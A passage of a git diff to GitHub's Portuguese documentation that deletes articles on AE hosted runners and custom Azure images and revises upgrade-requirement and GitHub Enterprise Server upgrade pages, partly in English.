| -| `casa` | `HOME` | Contém dados relacionados ao usuário. Por exemplo, esse diretório pode conter credenciais de uma tentativa de login. | -| `área de trabalho` | `GITHUB_WORKSPACE` | As ações e comandos do shell executados neste diretório. Uma ação pode modificar o conteúdo desse diretório, que fica acessível nas ações subsequentes. | -| `workflow/event.json` | `GITHUB_EVENT_PATH` | A carga `POST` do evento webhook que acionou o fluxo de trabalho. O {% data variables.product.prodname_dotcom %} o rescreve sempre que uma ação é executada para isolar o conteúdo do arquivo entre as ações. | - -Para obter uma lista das variáveis de ambiente que {% data variables.product.prodname_dotcom %} cria para cada fluxo de trabalho, consulte "[Usar variáveis de ambiente](/github/automating-your-workflow-with-github-actions/using-environment-variables)". - -### Sistema de arquivos do contêiner Docker - -Ações executadas em contêineres Docker têm diretórios estáticos no caminho `/github`. No entanto, é altamente recomendável usar as variáveis de ambiente padrão para elaborar caminhos de arquivos em contêineres do Docker. - -O {% data variables.product.prodname_dotcom %} reserva o prefixo de caminho `/github` e cria três diretórios para ações. - -- `/github/home` -- `/github/workspace` - {% data reusables.repositories.action-root-user-required %} -- `/github/workflow` diff --git a/translations/pt-BR/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md b/translations/pt-BR/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md deleted file mode 100644 index 89a6fde33a..0000000000 --- a/translations/pt-BR/content/actions/using-github-hosted-runners/adding-ae-hosted-runners.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Adicionar executores hospedados de AE -intro: 'Você pode adicionar {% data variables.actions.hosted_runner %} a uma organização ou uma empresa.' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -{% note %} - -**Observação:** Para adicionar {% data variables.actions.hosted_runner %}a {% data variables.product.prodname_ghe_managed %}, você precisará entrar em contato com o suporte de {% data variables.product.prodname_dotcom %}. Este artigo descreve as informações de que o suporte necessitará para concluir este processo. - -{% endnote %} - -{% data variables.actions.hosted_runner %}s podem usar as imagens básicas do sistema operacional Azure ou você pode criar suas próprias imagens personalizadas. - -## Adicionar um {% data variables.actions.hosted_runner %} a partir da imagem de base do Azure - -Você pode adicionar {% data variables.actions.hosted_runner %}s que usam as imagens básicas do sistema operacional do Azure. Para adicionar {% data variables.actions.hosted_runner %}s à sua organização ou empresa, entre em contato com o suporte de {% data variables.product.prodname_dotcom %} e tenha as seguintes informações prontas: - - Sistema operacional necessário: As opções disponíveis estão listadas nas ["Especificações do software](/actions/using-github-hosted-runners/about-ae-hosted-runners#software-specifications)". - - Selecione um nome para cada conjunto de {% data variables.actions.hosted_runner %}s. Estes nomes são criados como etiquetas, que permite que você roteie os seus fluxos de trabalho para esses executores. Para obter mais informações, consulte ["Usando {% data variables.actions.hosted_runner %}s em um fluxo de trabalho](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)."{% ifversion ghae-next %} -{% data reusables.actions.autoscaling-parameters %}{% endif %} - - Onde adicionar o {% data variables.actions.hosted_runner %}: Identifique os nomes das organizações e empresas que receberão os executores. - -## Adicionar um {% data variables.actions.hosted_runner %} com uma imagem personalizada - -Para criar uma imagem personalizada do sistema operacional, consulte as etapas de ["Criar imagens personalizadas"](/actions/using-github-hosted-runners/creating-custom-images). - -Depois de criar uma imagem personalizada usando os passos acima, entre em contato com o suporte de {% data variables.product.prodname_dotcom %} e forneça as informações a seguir: - - - O URI do SAS que você gerou ao seguir as etapas de criação de imagens personalizadas. - - Tipo de sistema operacional usado pela imagem: pode ser Linux ou Windows. - - Nome da imagem. - - Versão. - - VM SKU para o novo grupo. - - Selecione um nome para cada conjunto de {% data variables.actions.hosted_runner %}s. Estes nomes são criados como etiquetas, que permite que você roteie os seus fluxos de trabalho para esses executores. Para obter mais informações, consulte ["Usando {% data variables.actions.hosted_runner %}s em um fluxo de trabalho](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)."{% ifversion ghae-next %} -{% data reusables.actions.autoscaling-parameters %}{% endif %} - - Onde adicionar o {% data variables.actions.hosted_runner %}: Identifique os nomes das organizações e empresas que receberão os executores. - -## Revisar seus {% data variables.actions.hosted_runner %}s - -Depois que seus executores forem adicionados pelo suporte de {% data variables.product.prodname_dotcom %}, você poderá encontrá-los na sua lista de executores: - -{% data reusables.github-actions.hosted-runner-navigate-to-repo-org-enterprise %} -{% data reusables.github-actions.hosted-runner-list %} diff --git a/translations/pt-BR/content/actions/using-github-hosted-runners/creating-custom-images.md b/translations/pt-BR/content/actions/using-github-hosted-runners/creating-custom-images.md deleted file mode 100644 index 417b4acaba..0000000000 --- a/translations/pt-BR/content/actions/using-github-hosted-runners/creating-custom-images.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Criar imagens personalizadas -intro: 'Você pode criar imagens personalizadas para {% data variables.actions.hosted_runner %}s.' -versions: - ghae: '*' ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## Criar um {% data variables.actions.hosted_runner %} com uma imagem personalizada - -{% data variables.actions.hosted_runner %}s podem usar imagens do sistema operacional que você personalizou para atender às suas necessidades. Este artigo inclui os passos de alto nível para criar a imagem no Azure e prepará-lo para {% data variables.product.prodname_ghe_managed %}. Para obter mais informações, consulte [a documentação Azure](https://docs.microsoft.com/en-us/azure/virtual-machines/). - -Durante este beta, para poder criar uma imagem personalizada para {% data variables.actions.hosted_runner %}s, você precisará de uma assinatura do Azure que seja capaz de fornecer uma máquina virtual. - - -1. Forneça uma nova VM no seu inquilino usando uma imagem de mercado ou um disco rígido virtual (VHD). -2. Opcionalmente, instale seu software necessário no VM. -3. Deprovisionamento do MV: - - Para Linux: `ssh` para o VM e execute: - ```sh - $ sudo waagent -deprovision+user - ``` - - Para Windows: Siga os passos descritos em ["Generalizar a fonte do VM usando Sysprep](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/upload-generalized-managed#generalize-the-source-vm-by-using-sysprep)". - -4. Use o CLI do Azure para distribuir e generalizar o VM: - ```powershell - $resourceGroupName = "octocat-testgroup" - $vmName = "octo-vm" - - Stop-AzVM -ResourceGroupName $resourceGroupName -Name $vmName - Set-AzVM -ResourceGroupName $resourceGroupName -Name $vmName -Generalized - ``` - - Substitua `octo-vm` pelo nome da sua máquina virtual. - - Para obter mais informações sobre estes passos, consulte "[Como criar uma imagem gerenciada de uma máquina virtual ou VHD](https://docs.microsoft.com/en-us/azure/virtual-machines/linux/capture-image#step-1-deprovision-the-vm)". -5. Gere um SAS URI para o disco do sistema operacional da VM. - - Usar o Portal do Azure: No disco, acesse **Exportação de Discos**, definir `URL expira em (segundos)` a `86400` (24 horas) e gere a URL. - - Usando a CLI do Azure: - ```powershell - $resourceGroupName = "octocat-testgroup" - $vmName = "octo-vm" - - $vm = Get-AzVM -ResourceGroupName $resourceGroupName -Name $vmName - Grant-AzDiskAccess ` - -ResourceGroupName $resourceGroupName ` - -DiskName $vm.StorageProfile.OsDisk.Name ` - -Access Read ` - -DurationInSecond 86400 - ``` - - Substitua `octo-vm` pelo nome da sua máquina virtual. - -Depois de criar a imagem, você poderá adicioná-la a {% data variables.product.prodname_ghe_managed %}. Para obter mais informações, consulte ["Adicionar um {% data variables.actions.hosted_runner %} com uma imagem personalizada"](/actions/using-github-hosted-runners/adding-ae-hosted-runners#adding-an-ae-hosted-runner-with-a-custom-image). diff --git a/translations/pt-BR/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md b/translations/pt-BR/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md deleted file mode 100644 index fdadafb1ac..0000000000 --- a/translations/pt-BR/content/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow.md +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Usar executores hospedados de AE em um fluxo de trabalho -intro: 'Você pode usar etiquetas para enviar trabalhos para um grupo de {% data variables.actions.hosted_runner %}s.' -versions: - ghae: '*' -shortTitle: Usar executores hospedados no AE ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -## Usar {% data variables.actions.hosted_runner %}s em um fluxo de trabalho - -As etiquetas permitem que você envie trabalhos do fluxo de trabalho para qualquer {% data variables.actions.hosted_runner %} que inclua essa etiqueta. Você pode usar as etiquetas padrão e pode criar as suas próprias etiquetas personalizadas. - -## Usar etiquetas-padrão para rotear tarefas - -Um {% data variables.actions.hosted_runner %} recebe uma etiqueta quando é adicionado a {% data variables.product.prodname_actions %}. A etiqueta é usada para indicar onde foi atribuída. - -Você pode utilizar o YAML do seu fluxo de trabalho para enviar trabalhos para um grupos específico de {% data variables.actions.hosted_runner %}. Este exemplo demonstra como configurar um fluxo de trabalho para ser executado em uma etiqueta denominada `AE-runner-for-CI`: - -```yaml -runs-on: [AE-runner-for-CI] -``` - -Para obter mais informações, consulte "[Sintaxe de fluxo de trabalho para {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idruns-on)". - -## Usar etiquetas personalizadas para rotear trabalhos - -Você pode criar etiquetas personalizadas e atribuí-las aos seus {% data variables.actions.hosted_runner %}s a qualquer momento. As etiquetas personalizadas permitem que você envie tarefas para determinados tipos de executores, com base em como são etiquetados. - -Por exemplo, se você tem um trabalho que requer um pacote de software específico, você pode criar uma etiqueta personalizada denominada `octocat` e atribuí-la aos executores que têm o pacote instalado. Um {% data variables.actions.hosted_runner %} que corresponde a todos as etiquetas atribuídas será elegível para executar o trabalho. - -Este exemplo mostra um trabalho que usa várias etiquetas: - -```yaml -runs-on: [AE-runner-for-CI, octocat, linux] -``` - -Essas etiquetas são operadas cumulativamente. Portanto, as etiquetas de um {% data variables.actions.hosted_runner %} devem corresponder a todos, para que possam processar o trabalho. diff --git a/translations/pt-BR/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md b/translations/pt-BR/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md deleted file mode 100644 index c294ebd2fe..0000000000 --- a/translations/pt-BR/content/actions/using-github-hosted-runners/using-groups-to-manage-access-to-ae-hosted-runners.md +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Usar grupos para gerenciar o acesso a executores hospedados de AE -intro: 'Você pode usar políticas para limitar o acesso a {% data variables.actions.hosted_runner %}s que foram adicionados a uma organização ou empresa.' -versions: - ghae: '*' -shortTitle: Gerenciar grupos de executores do AE ---- - -{% data reusables.actions.ae-hosted-runners-beta %} - -## Sobre grupos de {% data variables.actions.hosted_runner %} - -Os grupos de {% data variables.actions.hosted_runner %} são usados para controlar o acesso a {% data variables.actions.hosted_runner %}s no nível da organização e da empresa. Os administradores da empresa podem configurar políticas de acesso que controlam quais organizações em uma empresa têm acesso ao grupo de runner. Os administradores da organização podem configurar políticas de acesso que controlam quais repositórios em uma organização têm acesso ao grupo de runner. - -Quando um administrador corporativo concede acesso de uma organização a um grupo de executores, os administradores da organização podem ver o grupo de executores listado nas configurações do {% data variables.actions.hosted_runner %} da organização. Os administradores de organizações podem então atribuir políticas adicionais de acesso ao repositório granular para o grupo de executores empresariais. - -Quando novos executores são criados, eles são atribuídos automaticamente ao grupo-padrão. Os executores só podem estar em um grupo por vez. Você pode mover os executores do grupo-padrão para outro grupo. Para obter mais informações, consulte "[Transferir um {% data variables.actions.hosted_runner %} para um grupo](#moving-an-ae-hosted-runner-to-a-group)". - -## Criar um grupo de {% data variables.actions.hosted_runner %} para uma organização - -Todas as organizações possuem um único grupo padrão do {% data variables.actions.hosted_runner %}. As organizações dentro de uma conta corporativa podem criar outros grupos de executores. Os administradores da organização podem permitir o acesso de repositórios individuais a um grupo de executor. - -{% data variables.actions.hosted_runner %}s são automaticamente atribuídos ao grupo padrão quando criados, e só podem ser integrantes de um grupo de cada vez. Você pode mover um executor do grupo- padrão para qualquer grupo que você criar. - -Ao criar um grupo, você deverá escolher uma política que defina quais repositórios têm acesso ao grupo do executor. - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions %} -1. Na seçãoexecutores auto-hospedados **, clique **Adicionar novo** e, em seguida, clique em **novo grupo**.

    - - ![Adicionar grupo de executor](/assets/images/help/settings/actions-hosted-runner-add-new-group.png) - - {% data reusables.github-actions.runner-group-assign-policy-repo %}
  • -1 -Clique em **Salvar grupo** para criar o grupo e aplicar a política. - -## Criar um grupo {% data variables.actions.hosted_runner %} para uma empresa - -As empresas podem adicionar os seus {% data variables.actions.hosted_runner %}s a grupos para gerenciamento de acesso. As empresas podem criar grupos de {% data variables.actions.hosted_runner %}s que podem ser acessados por organizações específicas na conta corporativa. Os administradores da organização podem atribuir políticas adicionais granulares de acesso ao repositório para os grupos de executores corporativos. - -{% data variables.actions.hosted_runner %}s são automaticamente atribuídos ao grupo padrão quando criados, e só podem ser integrantes de um grupo de cada vez. Você pode atribuir o executor a um grupo específico durante o processo de registro, ou você pode mover o executor do grupo-padrão para um grupo personalizado. - -Ao criar um grupo, você deve escolher uma política que defina quais organizações têm acesso ao grupo de executores. - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -1. Clique na aba **Executores auto-hospedados**. -1. Clique em **Adicionar novo** e, em seguida, **Novo grupo**. - - ![Adicionar grupo de executor](/assets/images/help/settings/actions-hosted-runner-add-new-group.png) - - {% data reusables.github-actions.runner-group-assign-policy-org %} - -1. Clique em **Salvar grupo** para criar o grupo e aplicar a política. - -## Alterar a política de acesso de um grupo de {% data variables.actions.hosted_runner %} - -Você pode atualizar a política de acesso de um grupo de executores ou renomear um grupo de executores. - -{% data reusables.github-actions.hosted-runner-configure-runner-group-access %} - -## Transferir um {% data variables.actions.hosted_runner %} para um grupo - -Novos {% data variables.actions.hosted_runner %}s são atribuídos automaticamente ao grupo padrão e, em seguida, podem ser movidos para outro grupo. - -1. Na seção **executores auto-hospedados** da página de configurações, localize o grupo atual do executor que deseja mover e expandir a lista de integrantes do grupo. ![Visualizar integrantes do grupo de executores](/assets/images/help/settings/actions-hosted-runner-group-members.png) -1. Marque a caixa de seleção próxima ao executor e, em seguida, clique em **Transferir para o grupo** para ver os destinos disponíveis. ![Mover um membro do grupo de executores](/assets/images/help/settings/actions-hosted-runner-group-member-move.png) -1. Para mover o executor, clique no grupo de destino. ![Mover um membro do grupo de executores](/assets/images/help/settings/actions-hosted-runner-group-member-move-destination.png) - -## Remover um grupo de {% data variables.actions.hosted_runner %} - -{% data variables.actions.hosted_runner %}s são retornados automaticamente ao grupo padrão quando seu grupo é removido. - -1. Na seção de **executores auto-hospedados** da página de configurações, localize o grupo que você deseja excluir e clique no botão {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. ![Exibir configurações do grupo de executores](/assets/images/help/settings/actions-hosted-runner-group-kebab.png) - -1. Para remover o grupo, clique em **Remover grupo**. - - ![Exibir configurações do grupo de executores](/assets/images/help/settings/actions-hosted-runner-group-remove.png) - -1. Revise os avisos de confirmação e, em seguida, clique em **Remover este grupo de executores**. diff --git a/translations/pt-BR/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md b/translations/pt-BR/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md deleted file mode 100644 index f84ac00392..0000000000 --- a/translations/pt-BR/content/actions/using-github-hosted-runners/using-labels-with-ae-hosted-runners.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Usar etiquetas com executores hospedados de AE -intro: 'Você pode usar etiquetas para organizar seus {% data variables.actions.hosted_runner %}s com base em suas características.' -versions: - ghae: '*' -shortTitle: Etiquetar executores hospedados no AE ---- - -{% data reusables.actions.ae-hosted-runners-beta %} -{% data reusables.actions.ae-beta %} - -Para informações sobre como usar as etiquetas para etiquetar trabalhos para tipos específicos de {% data variables.actions.hosted_runner %}s, consulte "[Usar {% data variables.actions.hosted_runner %}s em um fluxo de trabalho](/actions/using-github-hosted-runners/using-ae-hosted-runners-in-a-workflow)". - - -{% note %} - -**Observação:** Para gerenciar as etiquetas para seus {% data variables.actions.hosted_runner %}, você precisará entrar em contato com o suporte de {% data variables.product.prodname_dotcom %}. - -{% endnote %} - -## Visualizar as etiquetas para seus {% data variables.actions.hosted_runner %}s -{% data reusables.github-actions.hosted-runner-navigate-to-repo-org-enterprise %} -{% data reusables.github-actions.hosted-runner-list %} -{% data reusables.github-actions.hosted-runner-list-group %} -1. Localize o runner que você deseja verificar e clique em {% octicon "triangle-down" aria-label="The downward triangle" %} para ver o menu de seleção de etiqueta. Etiquetas já atribuídas ao seu executor têm uma {% octicon "check" aria-label="Check mark" %} ao lado delas. - -![Alterar etiqueta do executor](/assets/images/help/settings/actions-hosted-runner-list-label.png) diff --git a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md index 829cdf411e..2111abfe4f 100644 --- a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md +++ b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md @@ -16,23 +16,27 @@ topics: {% note %} **Notes:** +{% ifversion ghes < 3.3 %}- Features such as {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, {% data variables.product.prodname_mobile %} and {% data variables.product.prodname_GH_advanced_security %} are available on {% data variables.product.prodname_ghe_server %} 3.0 or higher. We highly recommend upgrading to 3.0 or later releases to take advantage of critical security updates, bug fixes and feature enhancements.{% endif %} - Upgrade packages are available at [enterprise.github.com](https://enterprise.github.com/releases) for supported versions. Verify the availability of the upgrade packages you will need to complete the upgrade. If a package is not available, contact {% data variables.contact.contact_ent_support %} for assistance. - If you're using {% data variables.product.prodname_ghe_server %} Clustering, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/guides/clustering/upgrading-a-cluster/)" in the {% data variables.product.prodname_ghe_server %} Clustering Guide for specific instructions unique to clustering. -- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases). +- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases). {% endnote %} ## Recommendations -- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. +- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. Use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. - If you’re several versions behind, upgrade {% data variables.product.product_location %} as far forward as possible with each step of your upgrade process. Using the latest version possible on each upgrade allows you to take advantage of performance improvements and bug fixes. For example, you could upgrade from {% data variables.product.prodname_enterprise %} 2.7 to 2.8 to 2.10, but upgrading from {% data variables.product.prodname_enterprise %} 2.7 to 2.9 to 2.10 uses a later version in the second step. - Use the latest patch release when upgrading. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} - Use a staging instance to test the upgrade steps. For more information, see "[Setting up a staging instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-staging-instance/)." - When running multiple upgrades, wait at least 24 hours between feature upgrades to allow data migrations and upgrade tasks running in the background to fully complete. +- Take a snapshot before upgrading your virtual machine. For more information, see "[Taking a snapshot](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot)." +- Ensure you have a recent, successful backup of your instance. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme). ## Requirements - You must upgrade from a feature release that's **at most** two releases behind. For example, to upgrade to {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, you must be on {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} or {{ enterpriseServerReleases.supported[2] }}. +- When upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. - {% data reusables.enterprise_installation.hotpatching-explanation %} - A hotpatch may require downtime if the affected services (like kernel, MySQL, or Elasticsearch) require a VM reboot or a service restart. You'll be notified when a reboot or restart is required. You can complete the reboot or restart at a later time. - Additional root storage must be available when upgrading through hotpatching, as it installs multiple versions of certain services until the upgrade is complete. Pre-flight checks will notify you if you don't have enough root disk storage. diff --git a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md index eefe24e6b2..4f60cb3784 100644 --- a/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md +++ b/translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md @@ -1,6 +1,6 @@ --- -title: Atualizar o GitHub Enterprise Server -intro: 'Atualize o {% data variables.product.prodname_ghe_server %} para usar os recursos e atualizações de segurança mais recentes.' +title: Upgrading GitHub Enterprise Server +intro: 'Upgrade {% data variables.product.prodname_ghe_server %} to get the latest features and security updates.' redirect_from: - /enterprise/admin/installation/upgrading-github-enterprise-server - /enterprise/admin/articles/upgrading-to-the-latest-release/ @@ -20,217 +20,221 @@ type: how_to topics: - Enterprise - Upgrades -shortTitle: Atualizando GHES +shortTitle: Upgrading GHES --- -## Preparar para a atualização +{% ifversion ghes < 3.3 %}{% data reusables.enterprise.upgrade-ghes-for-features %}{% endif %} -1. Determine uma estratégia de atualização e escolha uma versão para atualizar. Para obter mais informações, consulte "[Requisitos de atualização](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)". -3. Crie um backup da instância primária usando o {% data variables.product.prodname_enterprise_backup_utilities %}. Para obter mais informações, consulte o [Arquivo README.md do {% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme). -4. Se você estiver atualizando com um pacote de atualização, programe um período de manutenção para os usuários finais do {% data variables.product.prodname_ghe_server %}. Se estiver usando um hotpatch, não será necessário recorrer ao modo de manutenção. +## Preparing to upgrade + +1. Determine an upgrade strategy and choose a version to upgrade to. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. +3. Create a fresh backup of your primary instance with the {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme). +4. If you are upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. If you are using a hotpatch, maintenance mode is not required. {% note %} - **Observação:** o período de manutenção depende do tipo de atualização a ser feita. Atualizações com hotpatch normalmente não exigem período de manutenção. É preciso reinicializar a instância em alguns casos, mas o processo pode ser feito em outro momento. Seguindo o esquema de versões do MAJOR.FEATURE.PATCH, as versões de patch que usam pacote de atualização costumam gerar menos de cinco minutos de tempo de inatividade. Versões de recursos que incluem migrações de dados levam mais tempo, dependendo do desempenho do armazenamento e da quantidade de dados migrados. Para obter mais informações, consulte "[Habilitar e programar o modo de manutenção](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)". + **Note:** The maintenance window depends on the type of upgrade you perform. Upgrades using a hotpatch usually don't require a maintenance window. Sometimes a reboot is required, which you can perform at a later time. Following the versioning scheme of MAJOR.FEATURE.PATCH, patch releases using an upgrade package typically require less than five minutes of downtime. Feature releases that include data migrations take longer depending on storage performance and the amount of data that's migrated. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." {% endnote %} {% data reusables.enterprise_installation.upgrade-hardware-requirements %} -## Obter um instantâneo +## Taking a snapshot -Instantâneo é um ponto de verificação de uma máquina virtual (VM) em um momento específico. É altamente recomendável obter um instantâneo antes de atualizar sua máquina virtual para que você possa recuperar a VM em caso de falha. Se você estiver atualizando para uma nova versão do recurso, obtenha um instantâneo da VM. Se você estiver atualizando para uma versão de patch, vincule o disco de dados existente. +A snapshot is a checkpoint of a virtual machine (VM) at a point in time. We highly recommend taking a snapshot before upgrading your virtual machine so that if an upgrade fails, you can revert your VM back to the snapshot. If you're upgrading to a new feature release, you must take a VM snapshot. If you're upgrading to a patch release, you can attach the existing data disk. -Há dois tipos de instantâneo: +There are two types of snapshots: -- **Instantâneos de VM** salvam todo o estado da VM, inclusive dados do usuário e da configuração. Esse método de instantâneo é demorado e requer muito espaço livre em disco. -- **Instantâneos em disco de dados** salvam somente os dados do usuário. +- **VM snapshots** save your entire VM state, including user data and configuration data. This snapshot method requires a large amount of disk space and is time consuming. +- **Data disk snapshots** only save your user data. {% note %} - **Notas:** - - Algumas plataformas não permitem usar instantâneos apenas do disco de dados. Nesse caso, você terá que obter um instantâneo de toda a VM. - - Se o hipervisor não der suporte a instantâneos completos de VM, obtenha um instantâneo do disco raiz e do disco de dados em rápida sucessão. + **Notes:** + - Some platforms don't allow you to take a snapshot of just your data disk. For these platforms, you'll need to take a snapshot of the entire VM. + - If your hypervisor does not support full VM snapshots, you should take a snapshot of the root disk and data disk in quick succession. {% endnote %} -| Plataforma | Método de instantâneo | URL de documentação de instantâneo | -| --------------------- | --------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Amazon AWS | Disco | | -| Azure | VM | | -| Hyper-V | VM | | -| Google Compute Engine | Disco | | -| VMware | VM | [https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html](https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html){% ifversion ghes < 3.3 %} -| XenServer | VM | {% endif %} +| Platform | Snapshot method | Snapshot documentation URL | +|---|---|---| +| Amazon AWS | Disk | +| Azure | VM | +| Hyper-V | VM | +| Google Compute Engine | Disk | +| VMware | VM | {% ifversion ghes < 3.3 %} +| XenServer | VM | {% endif %} -## Atualizar com hotpatch +## Upgrading with a hotpatch -{% data reusables.enterprise_installation.hotpatching-explanation %} Ao usar o {% data variables.enterprise.management_console %}, é possível instalar um hotpatch na mesma hora ou programar a instalação para depois. Você pode usar o shell administrativo para instalar um hotpatch com o utilitário `ghe-upgrade`. Para obter mais informações, consulte "[Requisitos de atualização](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)". +{% data reusables.enterprise_installation.hotpatching-explanation %} Using the {% data variables.enterprise.management_console %}, you can install a hotpatch immediately or schedule it for later installation. You can use the administrative shell to install a hotpatch with the `ghe-upgrade` utility. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)." {% note %} -**{% ifversion ghes %}Observações{% else %}Observação{% endif %}**: +**{% ifversion ghes %}Notes{% else %}Note{% endif %}**: {% ifversion ghes %} -- Se {% data variables.product.product_location %} estiver executando a compilação de um candidato à versão, você não poderá atualizar com um hotpatch. +- If {% data variables.product.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. -- {% endif %}Instalando um hotpatch usando o {% data variables.enterprise.management_console %} não está disponível em ambientes com cluster. Para instalar um hotpatch em um ambiente em cluster, consulte "[Atualizar um cluster](/enterprise/{{ currentVersion }}/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)". +- {% endif %}Installing a hotpatch using the {% data variables.enterprise.management_console %} is not available in clustered environments. To install a hotpatch in a clustered environment, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)." {% endnote %} -### Atualizar um appliance com hotpatch +### Upgrading a single appliance with a hotpatch -#### Instalar um hotpatch usando o {% data variables.enterprise.management_console %} +#### Installing a hotpatch using the {% data variables.enterprise.management_console %} -1. Habilite atualizações automáticas. Para obter mais informações, consulte "[Habilitar atualizações automáticas](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-automatic-update-checks/)". +1. Enable automatic updates. For more information, see "[Enabling automatic updates](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-automatic-update-checks/)." {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.updates-tab %} -4. Quando um novo hotpatch for baixado, use o menu suspenso Install package (Instalar pacote): - - Para instalar na mesma hora, selecione **Now** (Agora): - - Para instalar depois, selecione outra data. ![Menu suspenso com datas para instalação de hotpatch](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png) -5. Clique em **instalar**. ![Botão de instalação de hotpatch](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png) +4. When a new hotpatch has been downloaded, use the Install package drop-down menu: + - To install immediately, select **Now**: + - To install later, select a later date. + ![Hotpatch installation date 